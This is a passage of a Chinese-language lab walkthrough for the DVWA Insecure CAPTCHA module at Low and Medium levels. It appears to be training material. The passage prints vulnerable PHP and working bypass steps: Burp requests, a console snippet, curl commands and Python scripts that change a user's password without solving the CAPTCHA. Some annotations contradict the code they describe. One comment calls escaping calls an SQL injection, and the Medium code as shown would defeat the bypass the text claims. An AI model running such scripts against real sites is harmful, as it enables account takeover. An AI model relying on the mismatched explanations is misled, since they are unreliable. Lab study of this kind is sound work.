★★★</span></span><br><span class="line">        <span class="comment">// reCAPTCHA - Google提供的验证码服务</span></span><br><span class="line">        <span class="comment">// 但Low难度下，验证码检查可以被绕过</span></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;</span></span><br><span class="line"><span class="string">            &lt;div class=\&quot;g-recaptcha\&quot; data-sitekey=\&quot;6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yEo\&quot;&gt;&lt;/div&gt;</span></span><br><span class="line"><span class="string">            &lt;br /&gt;</span></span><br><span class="line"><span class="string">            &lt;input type=\&quot;submit\&quot; name=\&quot;Change\&quot; value=\&quot;Change\&quot; /&gt;</span></span><br><span class="line"><span class="string">        &lt;/form&gt;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&#x27;&lt;pre&gt;Both passwords must match.&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p><strong>步骤2：验证并修改密码</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 检查step参数 ★★★</span></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;Change&#x27;</span> ] ) &amp;&amp; ( <span class="variable">$_POST</span>[ <span class="string">&#x27;step&#x27;</span> ] == <span class="string">&#x27;2&#x27;</span> ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 获取密码</span></span><br><span class="line">    <span class="variable">$pass_new</span>  = <span class="variable">$_POST</span>[ <span class="string">&#x27;password_new&#x27;</span> ];</span><br><span class="line">    <span class="variable">$pass_conf</span> = <span class="variable">$_POST</span>[ <span class="string">&#x27;password_conf&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 检查密码是否一致</span></span><br><span class="line">    <span class="keyword">if</span>( <span class="variable">$pass_new</span> == <span class="variable">$pass_conf</span> ) &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 核心漏洞：不验证reCAPTCHA响应！ ★★★</span></span><br><span class="line">        <span class="comment">// 虽然前端显示了reCAPTCHA</span></span><br><span class="line">        <span class="comment">// 但后端完全不检查用户是否通过了验证码</span></span><br><span class="line">        <span class="comment">// 只要step=2，就直接修改密码</span></span><br><span class="line"></span><br><span class="line">        <span class="comment">// MD5加密新密码</span></span><br><span class="line">        <span class="variable">$pass_new</span> = <span class="title function_ invoke__">md5</span>( <span class="variable">$pass_new</span> );</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ SQL注入漏洞：直接拼接SQL ★★★</span></span><br><span class="line">        <span class="variable">$pass_new</span> = <span class="title function_ invoke__">mysql_real_escape_string</span>( <span class="variable">$pass_new</span> );</span><br><span class="line">        <span class="variable">$pass_new</span> = <span class="title function_ invoke__">mysql_real_escape_string</span>( <span class="variable">$pass_new</span> );</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 更新密码</span></span><br><span class="line">        <span class="variable">$query</span>  = <span class="string">&quot;UPDATE `users` SET password = &#x27;<span class="subst">$pass_new</span>&#x27; WHERE user = &#x27;&quot;</span> . <span class="variable">$_SESSION</span>[ <span class="string">&#x27;username&#x27;</span> ] . <span class="string">&quot;&#x27;;&quot;</span>;</span><br><span class="line">        <span class="variable">$result</span> = <span class="title function_ invoke__">mysql_query</span>( <span class="variable">$query</span> ) <span class="keyword">or</span> <span class="keyword">die</span>( <span class="string">&#x27;&lt;pre&gt;&#x27;</span> . <span class="title function_ invoke__">mysql_error</span>() . <span class="string">&#x27;&lt;/pre&gt;&#x27;</span> );</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 密码修改成功</span></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&#x27;&lt;pre&gt;Password Changed.&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&#x27;&lt;pre&gt;Passwords did not match.&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="title function_ invoke__">mysql_close</span>();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h3><p><strong>核心问题：</strong></p><ol><li><strong>step参数在客户端控制</strong> - 通过隐藏字段传递</li><li><strong>后端不验证reCAPTCHA</strong> - 只检查step&#x3D;2</li><li><strong>可以直接跳到step 2</strong> - 绕过验证码</li><li><strong>SQL注入漏洞</strong> - 直接拼接SQL语句</li></ol><p><strong>攻击流程：</strong></p><figure class="highlight markdown"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">正常流程：</span><br><span class="line"><span class="bullet">1.</span> 输入新密码 → 2. 显示验证码 → 3. 验证通过 → 4. 修改密码</span><br><span class="line"></span><br><span class="line">绕过流程：</span><br><span class="line"><span class="bullet">1.</span> 直接发送step=2的请求 → 2. 修改密码成功</span><br></pre></td></tr></table></figure><h3 id="攻击步骤"><a href="#攻击步骤" class="headerlink" title="攻击步骤"></a>攻击步骤</h3><h4 id="方法1：直接跳过验证码"><a href="#方法1：直接跳过验证码" class="headerlink" title="方法1：直接跳过验证码"></a>方法1：直接跳过验证码</h4><p><strong>使用Burp Suite：</strong></p><ol><li>打开Burp Suite，开启拦截</li><li>在DVWA输入新密码，点击Change</li><li>Burp拦截到第一个请求（step&#x3D;1）</li><li>直接发送第二个请求（step&#x3D;2）</li></ol><p><strong>第一个请求（正常）：</strong></p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/dvwa/vulnerabilities/captcha/</span> <span class="meta">HTTP/1.1</span></span><br><span class="line">...</span><br><span class="line"></span><br><span class="line"><span class="language-haxe">password_new<span class="type"></span>=<span class="keyword">new</span><span class="type">pass123</span>&amp;password_conf=<span class="keyword">new</span><span class="type">pass123</span>&amp;Change=Change</span></span><br></pre></td></tr></table></figure><p><strong>第二个请求（绕过验证码）：</strong></p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/dvwa/vulnerabilities/captcha/</span> <span class="meta">HTTP/1.1</span></span><br><span class="line">...</span><br><span class="line"></span><br><span class="line"><span class="language-haxe">step=<span class="number">2</span>&amp;password_new<span class="type"></span>=<span class="keyword">new</span><span class="type">pass123</span>&amp;password_conf=<span class="keyword">new</span><span class="type">pass123</span>&amp;Change=Change</span></span><br></pre></td></tr></table></figure><p>直接发送第二个请求，密码修改成功，无需验证码！</p><h4 id="方法2：修改隐藏字段"><a href="#方法2：修改隐藏字段" class="headerlink" title="方法2：修改隐藏字段"></a>方法2：修改隐藏字段</h4><ol><li>在浏览器按F12打开开发者工具</li><li>在Console中执行：</li></ol><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 修改step值</span></span><br><span class="line"><span class="variable language_">document</span>.<span class="title function_">querySelector</span>(<span class="string">&#x27;input[name=&quot;step&quot;]&#x27;</span>).<span class="property">value</span> = <span class="string">&#x27;2&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 或直接提交表单</span></span><br><span class="line"><span class="keyword">var</span> form = <span class="variable language_">document</span>.<span class="title function_">querySelector</span>(<span class="string">&#x27;form&#x27;</span>);</span><br><span class="line"><span class="keyword">var</span> input = <span class="variable language_">document</span>.<span class="title function_">createElement</span>(<span class="string">&#x27;input&#x27;</span>);</span><br><span class="line">input.<span class="property">type</span> = <span class="string">&#x27;hidden&#x27;</span>;</span><br><span class="line">input.<span class="property">name</span> = <span class="string">&#x27;step&#x27;</span>;</span><br><span class="line">input.<span class="property">value</span> = <span class="string">&#x27;2&#x27;</span>;</span><br><span class="line">form.<span class="title function_">appendChild</span>(input);</span><br><span class="line">form.<span class="title function_">submit</span>();</span><br></pre></td></tr></table></figure><h4 id="方法3：使用curl命令"><a href="#方法3：使用curl命令" class="headerlink" title="方法3：使用curl命令"></a>方法3：使用curl命令</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 直接发送step=2的请求</span></span><br><span class="line">curl -X POST <span class="string">&quot;http://dvwa.local/dvwa/vulnerabilities/captcha/&quot;</span> \</span><br><span class="line">  --cookie <span class="string">&quot;security=low; PHPSESSID=你的session&quot;</span> \</span><br><span class="line">  --data <span class="string">&quot;step=2&amp;password_new=hacked&amp;password_conf=hacked&amp;Change=Change&quot;</span></span><br></pre></td></tr></table></figure><h4 id="方法4：Python脚本自动化"><a href="#方法4：Python脚本自动化" class="headerlink" title="方法4：Python脚本自动化"></a>方法4：Python脚本自动化</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line"><span class="comment"># 配置</span></span><br><span class="line">url = <span class="string">&quot;http://dvwa.local/dvwa/vulnerabilities/captcha/&quot;</span></span><br><span class="line">cookies = &#123;</span><br><span class="line">    <span class="string">&#x27;security&#x27;</span>: <span class="string">&#x27;low&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;PHPSESSID&#x27;</span>: <span class="string">&#x27;你的session值&#x27;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 直接发送step=2请求</span></span><br><span class="line">data = &#123;</span><br><span class="line">    <span class="string">&#x27;step&#x27;</span>: <span class="string">&#x27;2&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;password_new&#x27;</span>: <span class="string">&#x27;hacked123&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;password_conf&#x27;</span>: <span class="string">&#x27;hacked123&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;Change&#x27;</span>: <span class="string">&#x27;Change&#x27;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">response = requests.post(url, data=data, cookies=cookies)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="string">&#x27;Password Changed&#x27;</span> <span class="keyword">in</span> response.text:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;[+] 密码修改成功！&quot;</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;[-] 修改失败&quot;</span>)</span><br></pre></td></tr></table></figure><hr><h2 id="Medium-难度"><a href="#Medium-难度" class="headerlink" title="Medium 难度"></a>Medium 难度</h2><h3 id="攻击目标-1"><a href="#攻击目标-1" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>后端验证reCAPTCHA，但验证逻辑有缺陷。</p><h3 id="后端代码分析-1"><a href="#后端代码分析-1" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;Change&#x27;</span> ] ) &amp;&amp; ( <span class="variable">$_POST</span>[ <span class="string">&#x27;step&#x27;</span> ] == <span class="string">&#x27;1&#x27;</span> ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 获取密码</span></span><br><span class="line">    <span class="variable">$pass_new</span>  = <span class="variable">$_POST</span>[ <span class="string">&#x27;password_new&#x27;</span> ];</span><br><span class="line">    <span class="variable">$pass_conf</span> = <span class="variable">$_POST</span>[ <span class="string">&#x27;password_conf&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span>( <span class="variable">$pass_new</span> == <span class="variable">$pass_conf</span> ) &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 显示reCAPTCHA表单</span></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;</span></span><br><span class="line"><span class="string">        &lt;form action=\&quot;#\&quot; method=\&quot;POST\&quot;&gt;</span></span><br><span class="line"><span class="string">            &lt;input type=\&quot;hidden\&quot; name=\&quot;step\&quot; value=\&quot;2\&quot; /&gt;</span></span><br><span class="line"><span class="string">            &lt;input type=\&quot;hidden\&quot; name=\&quot;password_new\&quot; value=\&quot;<span class="subst">&#123;$pass_new&#125;</span>\&quot; /&gt;</span></span><br><span class="line"><span class="string">            &lt;input type=\&quot;hidden\&quot; name=\&quot;password_conf\&quot; value=\&quot;<span class="subst">&#123;$pass_conf&#125;</span>\&quot; /&gt;</span></span><br><span class="line"><span class="string">            &lt;div class=\&quot;g-recaptcha\&quot; data-sitekey=\&quot;6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yEo\&quot;&gt;&lt;/div&gt;</span></span><br><span class="line"><span class="string">            &lt;br /&gt;</span></span><br><span class="line"><span class="string">            &lt;input type=\&quot;submit\&quot; name=\&quot;Change\&quot; value=\&quot;Change\&quot; /&gt;</span></span><br><span class="line"><span class="string">        &lt;/form&gt;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&#x27;&lt;pre&gt;Both passwords must match.&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;Change&#x27;</span> ] ) &amp;&amp; ( <span class="variable">$_POST</span>[ <span class="string">&#x27;step&#x27;</span> ] == <span class="string">&#x27;2&#x27;</span> ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$pass_new</span>  = <span class="variable">$_POST</span>[ <span class="string">&#x27;password_new&#x27;</span> ];</span><br><span class="line">    <span class="variable">$pass_conf</span> = <span class="variable">$_POST</span>[ <span class="string">&#x27;password_conf&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span>( <span class="variable">$pass_new</span> == <span class="variable">$pass_conf</span> ) &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 新增：验证reCAPTCHA ★★★</span></span><br><span class="line">        <span class="comment">// $_POST[&#x27;g-recaptcha-response&#x27;] - reCAPTCHA响应token</span></span><br><span class="line">        <span class="variable">$recaptcha</span> = <span class="variable">$_POST</span>[ <span class="string">&#x27;g-recaptcha-response&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 调用reCAPTCHA API验证 ★★★</span></span><br><span class="line">        <span class="comment">// file_get_contents() - 读取文件内容（这里是HTTP请求）</span></span><br><span class="line">        <span class="comment">// Google reCAPTCHA验证API</span></span><br><span class="line">        <span class="comment">// secret - 服务器端密钥</span></span><br><span class="line">        <span class="comment">// response - 用户的reCAPTCHA响应</span></span><br><span class="line">        <span class="comment">// remoteip - 用户IP地址</span></span><br><span class="line">        <span class="variable">$response</span> = <span class="title function_ invoke__">file_get_contents</span>(</span><br><span class="line">            <span class="string">&#x27;https://www.google.com/recaptcha/api/siteverify?secret=6LdK7xITAAAAABBbN0tKnxKVZSCQnLCRbFWXVnQO&amp;response=&#x27;</span> . <span class="variable">$recaptcha</span> . <span class="string">&#x27;&amp;remoteip=&#x27;</span> . <span class="variable">$_SERVER</span>[ <span class="string">&#x27;REMOTE_ADDR&#x27;</span> ]</span><br><span class="line">        );</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 解析JSON响应 ★★★</span></span><br><span class="line">        <span class="comment">// json_decode() - 将JSON字符串转换为对象</span></span><br><span class="line">        <span class="comment">// 响应格式：&#123;&quot;success&quot;: true/false, ...&#125;</span></span><br><span class="line">        <span class="variable">$response</span> = <span class="title function_ invoke__">json_decode</span>( <span class="variable">$response</span> );</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 关键漏洞：只检查passed_captcha，不检查success ★★★</span></span><br><span class="line">        <span class="comment">// 问题：</span></span><br><span class="line">        <span class="comment">// 1. 如果不发送g-recaptcha-response，$response为null</span></span><br><span class="line">        <span class="comment">// 2. 或者发送错误的response，success为false</span></span><br><span class="line">        <span class="comment">// 3. 但只要设置了$_POST[&#x27;passed_captcha&#x27;]，就能绕过</span></span><br><span class="line">        <span class="keyword">if</span>( <span class="variable">$response</span>-&gt;success ) &#123;</span><br><span class="line"></span><br><span class="line">            <span class="comment">// 验证通过，设置passed_captcha</span></span><br><span class="line">            <span class="comment">// ★★★ 问题：使用$_POST设置标志 ★★★</span></span><br><span class="line">            <span class="comment">// $_POST是用户可控的！</span></span><br><span class="line">            <span class="variable">$_POST</span>[ <span class="string">&#x27;passed_captcha&#x27;</span> ] = <span class="string">&#x27;true&#x27;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="comment">// 验证失败</span></span><br><span class="line">            <span class="variable">$_POST</span>[ <span class="string">&#x27;passed_captcha&#x27;</span> ] = <span class="string">&#x27;false&#x27;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 核心漏洞：检查$_POST[&#x27;passed_captcha&#x27;] ★★★</span></span><br><span class="line">    <span class="comment">// 问题：$_POST是用户可控的！</span></span><br><span class="line">    <span class="comment">// 攻击者可以直接在请求中添加passed_captcha=true</span></span><br><span class="line">    <span class="keyword">if</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;passed_captcha&#x27;</span> ] == <span class="string">&#x27;true&#x27;</span> ) &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 修改密码</span></span><br><span class="line">        <span class="variable">$pass_new</span> = <span class="title function_ invoke__">md5</span>( <span class="variable">$pass_new</span> );</span><br><span class="line">        <span class="variable">$pass_new</span> = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ? <span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$pass_new</span> ) : ((<span class="title function_ invoke__">trigger_error</span>(<span class="string">&quot;[MySQLConverterToo] Fix the mysql_escape_string() call!&quot;</span>, E_USER_ERROR)) ? <span class="string">&quot;&quot;</span> : <span class="string">&quot;&quot;</span>));</span><br><span class="line"></span><br><span class="line">        <span class="variable">$query</span>  = <span class="string">&quot;UPDATE `users` SET password = &#x27;<span class="subst">$pass_new</span>&#x27; WHERE user = &#x27;&quot;</span> . <span class="variable">$_SESSION</span>[ <span class="string">&#x27;username&#x27;</span> ] . <span class="string">&quot;&#x27;;&quot;</span>;</span><br><span class="line">        <span class="variable">$result</span> = <span class="title function_ invoke__">mysqli_query</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$query</span> ) <span class="keyword">or</span> <span class="keyword">die</span>( <span class="string">&#x27;&lt;pre&gt;&#x27;</span> . ((<span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ? <span class="title function_ invoke__">mysqli_error</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) : ((<span class="variable">$___mysqli_res</span> = <span class="title function_ invoke__">mysqli_connect_error</span>()) ? <span class="variable">$___mysqli_res</span> : <span class="literal">false</span>)) . <span class="string">&#x27;&lt;/pre&gt;&#x27;</span> );</span><br><span class="line"></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&#x27;&lt;pre&gt;Password Changed.&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&#x27;&lt;pre&gt;CAPTCHA verification failed!&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    ((<span class="title function_ invoke__">is_null</span>(<span class="variable">$___mysqli_res</span> = <span class="title function_ invoke__">mysqli_close</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]))) ? <span class="literal">false</span> : <span class="variable">$___mysqli_res</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="新增防护"><a href="#新增防护" class="headerlink" title="新增防护"></a>新增防护</h3><ol><li><strong>reCAPTCHA API验证</strong> - 调用Google API验证</li><li><strong>检查success字段</strong> - 验证reCAPTCHA响应</li></ol><h3 id="仍存在的漏洞"><a href="#仍存在的漏洞" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><p><strong>核心问题：</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 设置标志</span></span><br><span class="line"><span class="variable">$_POST</span>[<span class="string">&#x27;passed_captcha&#x27;</span>] = <span class="string">&#x27;true&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 检查标志</span></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$_POST</span>[<span class="string">&#x27;passed_captcha&#x27;</span>] == <span class="string">&#x27;true&#x27;</span>) &#123;</span><br><span class="line">    <span class="comment">// 修改密码</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>问题：$_POST是用户可控的！</strong></p><p>攻击者可以直接在POST数据中添加<code>passed_captcha=true</code></p><h3 id="绕过方法"><a href="#绕过方法" class="headerlink" title="绕过方法"></a>绕过方法</h3><h4 id="方法1：直接添加passed-captcha参数"><a href="#方法1：直接添加passed-captcha参数" class="headerlink" title="方法1：直接添加passed_captcha参数"></a>方法1：直接添加passed_captcha参数</h4><p><strong>使用Burp Suite：</strong></p><p>拦截step&#x3D;2的请求，添加参数：</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/dvwa/vulnerabilities/captcha/</span> <span class="meta">HTTP/1.1</span></span><br><span class="line">...</span><br><span class="line"></span><br><span class="line"><span class="language-dts"><span class="attr">step</span><span class="operator">=</span><span class="number">2</span><span class="variable">&amp;password_new</span>=hacked<span class="variable">&amp;password_conf</span>=hacked<span class="variable">&amp;passed_captcha</span>=true<span class="variable">&amp;</span>C<span class="attr">hange</span><span class="operator">=</span>Change</span></span><br></pre></td></tr></table></figure><h4 id="方法2：使用curl"><a href="#方法2：使用curl" class="headerlink" title="方法2：使用curl"></a>方法2：使用curl</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">curl -X POST <span class="string">&quot;http://dvwa.local/dvwa/vulnerabilities/captcha/&quot;</span> \</span><br><span class="line">  --cookie <span class="string">&quot;security=medium; PHPSESSID=你的session&quot;</span> \</span><br><span class="line">  --data <span class="string">&quot;step=2&amp;password_new=hacked&amp;password_conf=hacked&amp;passed_captcha=true&amp;Change=Change&quot;</span></span><br></pre></td></tr></table></figure><h4 id="方法3：Python脚本"><a href="#方法3：Python脚本" class="headerlink" title="方法3：Python脚本"></a>方法3：Python脚本</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">url = <span class="string">&quot;http://dvwa.local/dvwa/vulnerabilities/captcha/&quot;</span></span><br><span class="line">cookies = &#123;</span><br><span class="line">    <span class="string">&#x27;security&#x27;</span>: <span class="string">&#x27;medium&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;PHPSESSID&#x27;</span>: <span class="string">&#x27;你的session&#x27;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">data = &#123;</span><br><span class="line">    <span class="string">&#x27;step&#x27;</span>: <span class="string">&#x27;2&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;password_new&#x27;</span>: <span class="string">&#x27;hacked123&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;password_conf&#x27;</span>: <span class="string">&#x27;hacked123&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;passed_captcha&#x27;</span>: <span class="string">&#x27;true&#x27;</span>,  <span class="comment"># 关键：直接添加这个参数</span></span><br><span class="line">    <span class="string">&#x27;Change&#x27;</span>: <span class="string">&#x27;Change&#x27;</span></span><br><span 